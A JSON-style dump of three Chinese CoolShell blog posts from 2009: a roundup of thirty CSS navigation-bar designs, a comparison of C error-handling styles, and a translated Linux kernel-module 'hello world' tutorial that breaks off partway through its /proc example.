    "content": "---\nlayout: post\ntitle: 30种时尚的CSS网站导航条\ndate: 2009/4/17/ 15:54:46\nupdated: 2009/4/17/ 15:54:46\nstatus: publish\npublished: true\ntype: post\n---\n\n我想，大家在上网的时候一定见过很多很多种各式各样的网站导航条的设计。这些导航条基本上来说都是用CSS来做的。这里，我们将向你介绍几种最不错的用CSS设计的网站导航条。希望你会喜欢。\n\n\n#### 1. [The Menu menu](http://www.cssplay.co.uk/menu/menu_map.html)\n\n\n[http://images.sixrevisions.com/2009/04/13-09_menu_menu.jpg](https://coolshell.cn/wp-admin/The%20Menu%20menu)\n\n\n 这是一个非常不错的CSS菜单，相当的独特，每个图标都有鼠标感应，然后出现子菜单。如果你想知道怎么做的，你可以简单的看一下这个网页的源码。\n\n\n\n#### 2. [Pure CSS hover menu](http://www.shingokko.com/blog_post.aspx?t=pure-css-hover-menu)\n\n\n[http://images.sixrevisions.com/2009/04/13-28_css_hover_menu.jpg](http://www.shingokko.com/resources/hover_menu_sample_working.htm)\n\n\n[查看演示](http://www.shingokko.com/resources/hover_menu_sample_working.htm)\n\n\n一个纵向显示的鼠标感应的菜单和其子菜单。\n\n\n#### 3. [Matte CSS Menu](http://13styles.com/css-menus/matte/)\n\n\n[http://images.sixrevisions.com/2009/04/13-01_styles.png](http://13styles.com/code/matte/)\n\n\n[查看演示](http://13styles.com/code/matte/)\n\n\nMatte 是一个简单的CSS 菜单，使用两个图片，可以有13种风格。这个CSS菜单由 [David Appleyard](http://www.davidappleyard.org/) 开发和维护，他开发了很多很多简单而有强大的CSS菜单。\n\n\n#### 4. [CSS Blur Menu](http://www.3point7designs.com/blog/2007/12/22/advanced-css-menu-trick/)\n\n\n[http://images.sixrevisions.com/2009/04/13-08_blur_menu.png](http://www.3point7designs.com/web-design2.html)\n\n\n[查看演示](http://www.3point7designs.com/web-design2.html)\n\n\n一个模糊的导航条，只有当鼠标经过的时候才会变得清楚。\n\n\n#### 5. [CSS Navigation with Glowing Icons](http://hv-designs.co.uk/2009/01/09/coding-the-creative-design-layout/)\n\n\n[http://images.sixrevisions.com/2009/04/13-27_css_navigation_icon.jpg](http://www.hv-designs.co.uk/tutorials/css_navigation2/navigation.html)\n\n\n[查看演示](http://www.hv-designs.co.uk/tutorials/css_navigation2/navigation.html)\n\n\n有一个非常不错的简单的教程会教你创建这个漂亮的CSS导航条。\n\n\n#### 6. [CSS Sliding Door using only 1 image](http://kailoon.com/css-sliding-door-using-only-1-image/)\n\n\n[http://images.sixrevisions.com/2009/04/13-17_css_sliding_door.jpg](http://kailoon.com/example/sliding-door/css-sliding-door-blue.html)\n\n\n[查看演示](http://kailoon.com/example/sliding-door/css-sliding-door-blue.html)\n\n\n这是一个朴素的CSS导航条，其基于 [Sliding Doors](http://www.alistapart.com/articles/slidingdoors/) 技术，只需要一个图片。\n\n\n#### 7. [Navigation Matrix Reloaded](http://superfluousbanter.org/archives/2004/05/navigation-matrix-reloaded/)\n\n\n[http://images.sixrevisions.com/2009/04/13-18_css_matrix_reloaded.png](http://www.nundroo.com/nav_matrix/welcome2.html)\n\n\n[查看演示](http://www.nundroo.com/nav_matrix/welcome2.html)\n\n\n又一个相当时髦的导航条。\n\n\n \n\n\n#### 8. [CSS Horizontal Menu](http://e-lusion.com/design/menu/)\n\n\n[http://images.sixrevisions.com/2009/04/13-11_horizontal_menu.png](http://e-lusion.com/design/menu/)\n\n\n[查看演示](http://e-lusion.com/design/menu/)\n\n\n[Ian Main](http://e-lusion.com/) 提供了一组很不错的相当时髦的CSS导航条。\n\n\n#### 9. [Woody CSS Menu](http://www.styledmenus.com/2009/01/woody-css-menu.html)\n\n\n[http://images.sixrevisions.com/2009/04/13-02_woody_css_menu.jpg](http://www.styledmenus.com/2009/01/woody-css-menu.html)\n\n\nWoody 是一个跨浏览器的CSS导航条，其在IE6, IE 7, Firefox, Opera, Safari, Chrome上测试通过。\n\n\n#### 10. [Advanced CSS Menu](http://www.webdesignerwall.com/tutorials/advanced-css-menu/)\n\n\n[http://images.sixrevisions.com/2009/04/13-03_advanced_css_menu.png](http://www.webdesignerwall.com/tutorials/advanced-css-menu/)\n\n\nAdvanced CSS Menu 由[Nick La](http://www.ndesign-studio.com/) 开发，其使用了一个相当独特的方式。\n\n\n11. [**Simple Yellow Tabbed**](http://www.cssmenumaker.com/builder/menu_info.php?menu=019)\n\n\n[http://images.sixrevisions.com/2009/04/13-04_simple_yellow_tabbed.jpg](http://www.cssmenumaker.com/builder/menu_info.php?menu=019)\n\n\n这个导航条由[CSS Menu Generator](http://www.cssmenumaker.com/index.php) 生成。这是一个质量很不错的导航条。\n\n\n#### 12. [Vimeo-Like Top Navigation](http://www.jankoatwarpspeed.com/post/2009/01/19/Create-Vimeo-like-top-navigation.aspx)\n\n\n[http://images.sixrevisions.com/2009/04/13-05_vimeo_like.jpg](http://www.jankoatwarpspeed.com/examples/vimeo_navigation/)\n\n\n[查看演示](http://www.jankoatwarpspeed.com/examples/vimeo_navigation/)\n\n\n这个基于CSS的导航条由 [Vimeo](http://vimeo.com/) 制作。\n\n\n#### 13. [Apple Like Colorful CSS Menu](http://www.webvamp.co.uk/blog/coding/graphical-css-rollover-menu/)\n\n\n[http://images.sixrevisions.com/2009/04/13-30_apple_like_colorful.jpg](http://www.webvamp.co.uk/blog/coding/graphical-css-rollover-menu/)\n\n\n这是一个效仿 Apple的图片滚动的CSS菜单，其有一个教程。\n\n\n#### 14. [CSS Hoverbox](http://www.designmeme.com/articles/hoverboxmenu/)\n\n\n[http://images.sixrevisions.com/2009/04/13-06_hover_menu.png](http://www.designmeme.com/articles/hoverboxmenu/)\n\n\n其灵感来源于 [Hoverbox Image Gallery](http://sonspring.com/journal/hoverbox-image-gallery)，由Nathan Smith开发，CSS Hoverbox 使用`background-position` CSS 属性制作。网页上有教程。\n\n\n#### 15. [Big CSS Box](http://css.maxdesign.com.au/listamatic/experimental01.htm)\n\n\n[http://images.sixrevisions.com/2009/04/13-07_big_box.jpg](http://css.maxdesign.com.au/listamatic/experimental01.htm)\n\n\n这只不过是一个试验性质的CSS 导航条，其允许你创建一个可以缩放的导航条，其可以自适应于浏览器的宽度。\n\n\n#### 16. [Simple CSS-based drop-down menu](https://www.servage.net/blog/2009/03/20/create-a-cool-css-based-drop-down-menu/)\n\n\n[http://images.sixrevisions.com/2009/04/13-10_drop_down.jpg](https://www.servage.net/blog/wp-content/uploads/2009/03/css-menu.html)\n\n\n[查看演示](https://www.servage.net/blog/wp-content/uploads/2009/03/css-menu.html)\n\n\n这个下拉式菜单，虽然非常简单，但是却非常的优秀。\n\n\n#### 17. [Two Level Horizontal Navigation in CSS](http://veerle.duoh.com/blog/comments/2_level_horizontal_navigation_in_css_with_images/)\n\n\n[http://images.sixrevisions.com/2009/04/13-12_css_horizontal_vreel.jpg](http://www.duoh.com/csstutorials/2levelmenu/index.html)\n\n\n[查看演示](http://www.duoh.com/csstutorials/2levelmenu/index.html)\n\n\n[Veerle Pieters](http://veerle.duoh.com/blog/about/) 提供的这个CSS导航条教程，其主要使用了`text-indent` CSS 属性。\n\n\n#### 18. [Uberlink CSS List Menus](http://www.projectseven.com/tutorials/css/uberlinks/index.htm)\n\n\n[http://images.sixrevisions.com/2009/04/13-14_uberlink.jpg](http://www.projectseven.com/tutorials/css/uberlinks/home.htm)\n\n\n[查看演示](http://www.projectseven.com/tutorials/css/uberlinks/home.htm)\n\n\n这个CSS导航条看起来很像是一个图片切换的样子。\n\n\n#### 19. [CSS-Only Accordion Effect](http://www.cssnewbie.com/css-only-accordion/)\n\n\n[http://images.sixrevisions.com/2009/04/13-16_css_accordian.jpg](http://www.cssnewbie.com/example/css-only-accordion/horizontal.html)\n\n\n[查看演示](http://www.cssnewbie.com/example/css-only-accordion/horizontal.html)\n\n\n这个CSS设计的很有想法，啥也不说了，上去看看就知道有多酷了。\n\n\n#### 20. [Tabbed Navigation Using CSS](http://tutorials.mezane.org/tabbed-navigation-using-css/#Introduction)\n\n\n[http://images.sixrevisions.com/2009/04/13-19_tabbed_navigation_css.png](http://tutorials.mezane.org/tabbed-navigation-using-css/#Introduction)\n\n\n这是另一个很不错的相法，让你可以创建一个TAB页，注意这是完全由纯CSS写成的。你可以通过点击上面的链接查看如何制作这样一个界面。\n\n\n#### 21. [CSS Mini Tabs (the UN-tab, tab)](http://www.simplebits.com/notebook/2003/06/07/mini_tabs_the_untab_tab.html)\n\n\n[http://images.sixrevisions.com/2009/04/13-20_mini_tab.jpg](http://www.simplebits.com/bits/minitabs.html)\n\n\n[查看演示](http://www.simplebits.com/bits/minitabs.html)\n\n\n这个CSS导航条是由一个比较流行的网页设计中介 [SimpleBits](http://www.simplebits.com/about/) 完成，它展示了一个可以创建小TAB页的方法。\n\n\n#### 22. [Drop-Down Menus, Horizontal Style](http://www.alistapart.com/articles/horizdropdowns)\n\n\n[http://images.sixrevisions.com/2009/04/13-21_drop_down_list_apart.png](http://www.alistapart.com/d/horizdropdowns/horizontal.htm)\n\n\n[查看演示](http://www.alistapart.com/d/horizdropdowns/horizontal.htm)\n\n\n这个[A List Apart](http://www.alistapart.com/about/) CSS 菜单技术主要实现了一个纵向的二级菜单，其主要使用了 `position: absolute` CSS 属性来决定了菜单的位置。\n\n\n#### 23. [List Into a Navigation Bar](http://www.456bereastreet.com/archive/200501/turning_a_list_into_a_navigation_bar/)\n\n\n[http://images.sixrevisions.com/2009/04/13-22_list_navigation.jpg](http://www.456bereastreet.com/lab/ul_navbar/step11/)\n\n\n[查看演示](http://www.456bereastreet.com/lab/ul_navbar/step11/)\n\n\nRoger Johansson 的[456 Berea Street](http://www.456bereastreet.com/about/) 展示了一个简单的理论——把一些带有下划线的列表转换成了一个导航条。这是一个非常好的给初学者的一个案例，可以通过它学习到如何通过CSS创建一个HTML结构的导航条。\n\n\n#### 24. [CSS Tabs with Submenus](http://www.kalsey.com/tools/csstabs/)\n\n\n[http://images.sixrevisions.com/2009/04/13-23_css_tab_submenu.jpg](http://www.kalsey.com/tools/csstabs/)\n\n\n这个CSS导航条菜单允许你创建二级的TAB页，相当不错哦。\n\n\n#### 25. [CSS Block Navigation Menu](http://vikiworks.com/2008/03/29/a-css-block-navigation-menu/)\n\n\nhttp://images.sixrevisions.com/2009/04/13-26_css_block_menu.png\n\n\n这个CSS导航条，让你可以创建一个带有描述语的导航条。\n\n\n#### 26. [XHTML & CSS Sprite Navigation](http://www.zenelements.co.uk/blog/coding-sprite-navigation-xhtml-css/)\n\n\n[http://images.sixrevisions.com/2009/04/13-13_css_sprite.jpg](http://www.zenelements.co.uk/blog/images/tutorials/web-design-development/sprite-navigation/sprite-navigation-example.html)\n\n\n[查看演示](http://www.zenelements.co.uk/blog/images/tutorials/web-design-development/sprite-navigation/sprite-navigation-example.html)\n\n\n这个时尚的CSS精灵导航条有三个状态：空闲，鼠标感应，和鼠标点击。\n\n\n#### 27. [XHTML CSS Tabbed Menu](http://learnola.com/2008/10/28/xhtml-tutorial-css-tabbed-menu/)\n\n\n[http://images.sixrevisions.com/2009/04/13-15_xhtml_css_tab.png](http://talentedpixel.com/wp-content/themes/revolution_music-10/tab-example.html)\n\n\n[查看演示](http://talentedpixel.com/wp-content/themes/revolution_music-10/tab-example.html)\n\n\n你可以学习一个如果不用脚本来创建TAB页。\n\n\n#### 28. [Cool, Simple, Horizontal CSS Menu](http://thedesignsuperhero.com/2008/04/tutorial-to-create-a-pretty-cool-simple-horizontal-css-menu/)\n\n\n[http://images.sixrevisions.com/2009/04/13-24_cool_horizontal.jpg](http://72.18.130.22/~thedesig/wp-content/uploads/2008/04/css_menu.html)\n\n\n[查看演示](http://72.18.130.22/~thedesig/wp-content/uploads/2008/04/css_menu.html)\n\n\n教你如果创建一个简单直接的CSS导航条。\n\n\n#### 29. [CSS Menu with Descriptions](http://green-beast.com/experiments/css_menu_descriptions.php)\n\n\n[http://images.sixrevisions.com/2009/04/13-25_css_menu_w_description.jpg](http://green-beast.com/experiments/css_menu_descriptions.php)\n\n\n[查看演示](http://green-beast.com/experiments/css_menu_descriptions.php)\n\n\n一个会扩展的导航条。\n\n\n#### 30. [CSS Hover Button](http://www.nublue.co.uk/blog/css-hover-button/)\n\n\n[http://images.sixrevisions.com/2009/04/13-29_css_hover.jpg](http://www.nucopy.com/)\n\n\n[查看演示](http://www.nucopy.com/)\n\n\n一个相当不错的教程教你如果制一个鼠标感应式的按钮。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/3063.html)[40个很不错的CSS技术](https://coolshell.cn/articles/3063.html)\nThe post [30种时尚的CSS网站导航条](https://coolshell.cn/articles/562.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-17 C语言下的错误处理的问题.md",
    "content": "---\nlayout: post\ntitle: C语言下的错误处理的问题\ndate: 2009/4/17/ 4:12:9\nupdated: 2009/4/17/ 4:12:9\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是三种C语言的错误处理，你喜欢哪一种？还是都不喜欢？\n\n\n\n```\n\n/* 问题: 不充分，而且很容易出错，前面成功分配的资源，后面出错需要帮助释放 */\nint foo(int bar)\n{\n        int return_value = 0;\n        int doing_okay = 1;\n        doing_okay = do_something( bar );\n        if (doing_okay)\n        {\n                doing_okay = init_stuff();\n        }\n        if (doing_okay)\n        {\n                doing_okay = prepare_stuff();\n        }\n        if (doing_okay)\n        {\n                return_value = do_the_thing( bar );\n        }\n        return return_value;\n}\n\n```\n\n \n\n\n\n```\n\n/* 问题： 使用goto语句是很不好的 */\nint foo(int bar)\n{\n        if (!do_something( bar )) {\n                goto error;\n        }\n        if (!init_stuff( bar )) {\n                goto error;\n        }\n        if (!prepare_stuff( bar )) {\n                goto error;\n        }\n        return do_the_thing( bar );\nerror:\n        return 0;\n}\n\n```\n\n\n```\n \n/* 问题：太多的if嵌套了，无法阅读 */\nint foo(int bar)\n{\n        int return_value = 0;\n        if (do_something( bar )) {\n                if (init_stuff( bar )) {\n                        if (prepare_stuff( bar )) {\n                                return_value = do_the_thing( bar );\n                         }\n                }\n        }\n        return return_value;\n}\n\n```\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [C语言下的错误处理的问题](https://coolshell.cn/articles/551.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-17 Linux设备驱动Hello World程序介绍.md",
    "content": "---\nlayout: post\ntitle: Linux设备驱动Hello World程序介绍\ndate: 2009/4/17/ 17:19:52\nupdated: 2009/4/17/ 17:19:52\nstatus: publish\npublished: true\ntype: post\n---\n\nby Valerie Henson  \n\n07/05/2007\n\n\n(**译者注：本文的例子是只能在linux的2.6内核下使用的，2.6以上的内核，译者没有做过实验，2.4是要修改make文件才能运行**。)\n\n\n本文的出处：[这里](http://www.linuxdevcenter.com/pub/a/linux/2007/07/05/devhelloworld-a-simple-introduction-to-device-drivers-under-linux.html?page=1)\n\n\n自古以来，学习一门新编程语言的第一步就是写一个打印“hello world”的程序（可以看[《hello world 集中营》](https://coolshell.cn/articles/169.html)这个帖子供罗列了300个“hello world”程序例子）在本文中，我们将用同样的方式学习如何编写一个简单的linux内核模块和设备驱动程序。我将学习到如何在内核模式下以三种不同的方式来打印hello world，这三种方式分别是： printk()，/proc文件，/dev下的设备文件。\n\n\n#### 准备：安装内核模块的编译环境\n\n\n一个内核模块kernel module是一段能被内核动态加载和卸载的内核代码，因为内核模块程序是内核的一个部分，并且和内核紧密的交互，所以内核模块不可能脱离内核编译环境，至少，它需要内核的头文件和用于加载的配置信息。编译内核模块同样需要相关的开发工具，比如说编译器。为了简化，本文只简要讨论如何在Debian、Fedora和其他以.tar.gz形式提供的原版linux内核下进行核模块的编译。在这种情况下，你必须根据你正在运行内核相对应的内核源代码来编译你的内核模块kernel module(当你的内核模块一旦被装载到你内核中时，内核就将执行该模块的代码)\n\n\n\n必须要注意内核源代码的位置，权限：内核程序通常在/usr/src/linux目录下，并且属主是root。如今，推荐的方式是将内核程序放在一个非root用户的home目录下。本文中所有命令都运行在非root的用户下，只有在必要的时候，才使用sudo来获得临时的root权限。配置和使用sudo可以man sudo(8) visudo(8) 和sudoers(5)。或者切换到root用户下执行相关的命令。不管什么方式，你都需要root权限才能执行本文中的一些命令。\n\n\n在Debian下编译内核模块的准备\n\n\n使用如下的命令安装和配置用于在Debian编译内核模块的module-assitant包\n\n\n\n```\n\n$ sudo apt-get install module-assistant\n\n```\n\n以此你就可以开始编译内核模块，你可以在[《Debian Linux Kernel Handbook》](http://kernel-handbook.alioth.debian.org/)这本书中找到对Debian内核相关任务的更深度的讨论。\n\n\nFedora的kernel-devel包包含了你编译Fedora内核模块的所有必要内核头文件和工具。你可以通过如下命令得到这个包。\n\n\n`$ sudo yum install kernel-devel`\n\n\n有了这个包，你就可以编译你的内核模块kernel modules。关于Fedora编译内核模块的相关文档你可以从[Fedora release notes](http://docs.fedoraproject.org/release-notes/fc6/en_US/sn-Kernel.html#id2950723)中找到。\n\n\n一般Linux 内核源代码和配置\n\n\n(译者注，下面的编译很复杂，如果你的Linux不是上面的系统，你可以使用REHL AS4系统，这个系统的内核就是2.6的内核，并且可以通过安装直接安装内核编译支持环境，从而就省下了如下的步骤。而且下面的步骤比较复杂，建议在虚拟机安装Linux进行实验。)\n\n\n如果你选择使用一般的Linux内核源代吗，你必须，配置，编译，安装和重启的你编译内核。这个过程非常复杂，并且本文只会讨论使用一般内核源代码的基本概念。\n\n\nlinux的著名的内核源代码在http://kernel.org上都可以找到。最近新发布的稳定版本的代码在首页上。下载全版本的源代码，不要下载补丁代码。例如，当前发布稳定版本在url: http://kernel.org/pub/linux/kernel/v2.6/linux-2.6.21.5.tar.bz2上。如果需要更快速的下载，从htpp://kernel.org/mirrors上找到最近的镜像进行下载。最简单获得源代码的方式是以断点续传的方式使用wget。如今的http很少发生中断，但是如果你在下载过程中发生了中断，这个命令将帮助你继续下载剩下的部分。\n\n\n`$ wget -c http://kernel.org/pub/linux/kernel/v2.6/linux-2.6.21.5.tar.bz2` \n\n\n解包内核源代码\n\n\n`$ tar xjvf linux-<version>.tar.bz2`\n\n\n现在你的内核源代码位于linux-/目录下。转到这个目录下，并配置它：\n\n\n\n```\n\n$ cd linux-<version>\n$ make menuconfig\n```\n\n一些非常易用的编译目标make targets提供了多种编译安装内核的形式：Debian 包，RPM包，gzip后的tar文件 等等，使用如下命令查看所有可以编译的目标形式\n\n\n`$ make help`\n\n\n一个可以工作在任何linux的目标是：(译者注：REHL AS4上没有tar-pkg这个目标，你可以任选一个rpm编译，编译完后再上层目录可以看到有一个linux-.tar.gz可以使用)\n\n\n`$ make tar-pkg`\n\n\n当编译完成后，可以调用如下命令安装你的内核\n\n\n`$ sudo tar -C / -xvf linux-<version>.tar`\n\n\n在标准位置建立的到内核源代码的链接\n\n\n`$ sudo ln -s <location of top-level source directory> /lib/modules/'uname -r'/build`\n\n\n现在已经内核源代码已经可以用于编译内核模块了，重启你的机器以使得你根据新内核程序编译的内核可以被装载。\n\n\n#### 使用printk()函数打印”Hello World”\n\n\n我们的第一个内核模块，我们将以一个在内核中使用函数printk()打印”Hello world”的内核模块为开始。printk是内核中的printf函数。printk的输出打印在内核的消息缓存kernel message buffer并拷贝到/var/log/messages(关于拷贝的变化依赖于如何配置syslogd)\n\n\n下载[hello\\_printk](http://www.linuxdevcenter.com/linux/2007/07/05/examples/hello_printk.tar.gz) 模块的tar包 并解包：\n\n\n`$ tar xzvf hello_printk.tar.gz`\n\n\n这个包中包含两个文件:Makefile，里面包含如何创建内核模块的指令和一个包含内核模块源代码的hello\\_printk.c文件。首先，我们将简要的过一下这个Makefile 文件。\n\n\n`obj-m := hello_printk.o`\n\n\nobj-m指出将要编译成的内核模块列表。.o格式文件会自动地有相应的.c文件生成(不需要显示的罗列所有源代码文件)\n\n\n\n```\n\nKDIR  := /lib/modules/$(shell uname -r)/build\n\n```\n\nKDIR表示是内核源代码的位置。在当前标准情况是链接到包含着正在使用内核对应源代码的目录树位置。\n\n\n\n```\n\nPWD := $(shell pwd)\n\n```\n\nPWD指示了当前工作目录并且是我们自己内核模块的源代码位置\n\n\n\n```\n\ndefault:\n     $(MAKE) -C $(KDIR) M=$(PWD) modules\n\n```\n\ndefault是默认的编译连接目标；即，make将默认执行本条规则编译目标，除非程序员显示的指明编译其他目标。这里的的编译规则的意思是，在包含内核源代码位置的地方进行make,然后之编译$(PWD)(当前)目录下的modules。这里允许我们使用所有定义在内核源代码树下的所有规则来编译我们的内核模块。\n\n\n现在我们来看看hello\\_printk.c这个文件\n\n\n\n```\n\n#include\n\t<linux/init.h>\n#include\n\t<linux/module.h>\n\n```\n\n这里包含了内核提供的所有内核模块都需要的头文件。这个文件中包含了类似module\\_init()宏的定义，这个宏稍后我们将用到\n\n\n\n```\n\nstatic int __init\nhello_init(void){\n    printk(\"Hello, world!n\");\n    return 0;\n}\n\n```\n\n这是内核模块的初始化函数，这个函数在内核模块初始化被装载的时候调用。\\_\\_init关键字告诉内核这个代码只会被运行一次，而且是在内核装载的时候。printk()函数这一行将打印一个”Hello, world”到内核消息缓存。printk参数的形式在大多数情况和printf(3)一模一样。\n\n\n\n```\n\nmodule_init(hello_init); \nmodule_init()\n\n```\n\n宏告诉内核当内核模块第一次运行时哪一个函数将被运行。任何在内核模块中其他部分都会受到内核模块初始化函数的影响。\n\n\n\n```\n\nstatic void __exit\nhello_exit(void){\n    printk(\"Goodbye, world!n\");\n}\nmodule_exit(hello_exit);\n\n```\n\n同样地，退出函数也只在内核模块被卸载的时候会运行一次，module\\_exit()宏标示了退出函数。\\_\\_exit关键字告诉内核这段代码只在内核模块被卸载的时候运行一次。\n\n\n\n```\n\nMODULE_LICENSE(\"GPL\");\nMODULE_AUTHOR(\"Valerie Henson val@nmt.edu\");\nMODULE_DESCRIPTION(\"Hello, world!\" minimal module\");\nMODULE_VERSION(\"printk\");\nMODULE_LICENSE()\n\n```\n\n宏告诉内核，内核模块代码在什么样的license之下，这将影响主那些符号(函数和变量，等等)可以访问主内核。GPLv2 下的模块(如同本例子中)能访问所有的符号。某些内核模块license将会损害内核开源的特性，这些license指示内核将装载一些非公开或不受信的代码。如果内核模块不使用MODULE\\_LICENSE()宏，就被假定为非GPLv2的，这会损害内核的开源特性，并且大部分Linux内核开发人员都会忽略来自受损内核的bug报告，因为他们无法访问所有的源代码，这使得调试变得更加困难。剩下的MODULE\\_\\*()这些宏以标准格式提供有用的标示该内核模块的信息(译者注：这里意思是，你必须使用GPLv2的license，否则你的驱动程序很有可能得不到Linux社区的开发者的支持 ：）)\n\n\n现在，开始编译和运行代码。转到相应的目录下，编译内核模块\n\n\n\n```\n\n$ cd hello_printk  \n$ make\n\n```\n\n接着，装载内核模块，使用insmod指令，并且通过dmesg来检查打印出的信息，dmesg是打印内核消息缓存的程序。\n\n\n\n```\n\n$ sudo insmod ./hello_printk.ko  \n$ dmesg | tail\n\n```\n\n你将从dmesg的屏幕输出中看见”Hello world!”信息。现在卸载使用rmmod卸载内核模块，并检查退出信息。\n\n\n\n```\n\n$ sudo rmmod hello_printk  \n$ dmesg | tail\n\n```\n\n到此，你就成功地完成了对内核模块的编译和安装！\n\n\n#### 使用/proc的Hello, World!\n\n\n一种用户程序和内核通讯最简单和流行的方式是通过使用/proc下文件系统进行通讯。/proc是一个伪文件系统，从这里的文件读取的数据是由内核返回的数据，并且写入到这里面的数据将会被内核读取和处理。在使用/proc方式之前，所用用户和内核之间的通讯都不得不使用系统调用来完成。使用系统调用意味着你将在要在查找已经具有你需要的行为方式的系统调用(一般不会出现这种情况)，或者创建一种新的系统调用来满足你的需求(这样就要求对内核全局做修改，并增加系统调用的数量，这是通常是非常不好的做法)，或者使用ioctl这个万能系统调用，这就要求要创建一个新文件类型供ioctl操作(这也是非常复杂而且bug比较多的方式，同样是非常繁琐的)。/proc提供了一个简单的，无需定义的方式在用户空间和内核之间传递数据，这种方式不仅可以满足内核使用，同样也提供足够的自由度给内核模块做他们需要做的事情。\n\n\n为了满足我们的要求，我们需要当我们读在/proc下的某一个文件时将会返回一个“Hello world!”。我们将使用/proc/hello\\_world这个文件。下载并解开[hello proc](http://www.linuxdevcenter.com/linux/2007/07/05/examples/hello_proc.tar.gz)这个gzip的tar包后，我们将首先来看一下[hello\\_proc.c](http://www.linuxdevcenter.com/linux/2007/07/05/examples/hello_proc.c)这个文件\n\n\n\n```\n\n#include <linux/init.h>\n#include <linux/module.h>\n#include <linux/proc_fs.h>\n\n```\n\n这次，我们将增加一个proc\\_fs头文件，这个头文件包括驱动注册到/proc文件系统的支持。当另外一个进程调用read()时，下一个函数将会被调用。这个函数的实现比一个完整的普通内核驱动的read系统调用实现要简单的多，因为我们仅做了让”Hello world”这个字符串缓存被一次读完。\n\n\n\n```\n\nstatic int\nhello_read_proc(char *buffer, char **start,off_t offset,\n                int size, int *eof, void *data)\n{\n\n```\n\n这个函数的参数值得明确的解释一下。buffer是指向内核缓存的指针，我们将把read输出的内容写到这个buffer中。start参数多用更复杂的/proc文件；我们在这里将忽略这个参数；并且我只明确的允许offset这个的值为0。size是指buffer中包含多字节数；我们必须检查这个参数已避免出现内存越界的情况，eof参数一个EOF的简写，用于返回文件是否已经读到结束，而不需要通过调用read返回0来判断文件是否结束。这里我们不讨论依靠更复杂的/proc文件传输数据的方法。这个函数方法体罗列如下：\n\n\n\n```\n\n    char *hello_str = \"Hello, world!\\n\";\n    int len = strlen(hello_str); /* Don't include the null byte. */\n    /*     * We only support reading the whole string at once.     */\n    if (size < len)\n        return< -EINVAL;\n    /*     * If file position is non-zero, then assume the string has\n    * been read and indicate there is no more data to be read.\n    */\n    if (offset != 0)\n        return 0;\n    /*     * We know the buffer is big enough to hold the string.     */\n    strcpy(buffer, hello_str);\n    /*     * Signal EOF.     */\n    *eof = 1;\n    return len;\n}\n\n```\n\n下面，我们需将内核模块在初始化函数注册在/proc 子系统中。\n\n\n\n```\n\nstatic int __init\nhello_init(void){\n    /*\n    * Create an entry in /proc named \"hello_world\" that calls\n    * hello_read_proc() when the file is read.\n    */\n    if (create_proc_read_entry(\"hello_world\", 0, \n                        NULL, hello_read_proc, NULL) == 0) {\n        printk(KERN_ERR\n        \"Unable to register \"Hello, world!\" proc filen\");\n        return -ENOMEM;\n    }\n    return 0;\n}\nmodule_init(hello_init);\n\n```\n\n当内核模块卸载时，需要在/proc移出注册的信息(如果我们不这样做的，当一个进程试图去访问/proc/hello\\_world，/proc文件系统将会试着执行一个已经不存在的功能，这样将会导致内核崩溃)\n\n\n\n```\n\nstatic void __exit\nhello_exit(void){\n    remove_proc_entry(\"hello_world\", NULL);\n}\nmodule_exit(hello_exit);\nMODULE_LICENSE(\"GPL\");\nMODULE_AUTHOR(\"Valerie Henson val@nmt.edu\");\nMODULE_DESCRIPTION(\"\"Hello, world!\" minimal module\");\nMODULE_VERSION(\"proc\");\n\n```\n\n下面我们将准备编译和装载模组\n\n\n\n```\n\n$ cd hello_proc  \n$ make  \n$ sudo insmod ./hello_proc.ko\n\n```\n\n现在，将会有一个称为/proc/hello\\_world的文件，并且读这个文件的，将会返回一个”Hello world”字符串。\n\n\n\n```\n\n$ cat 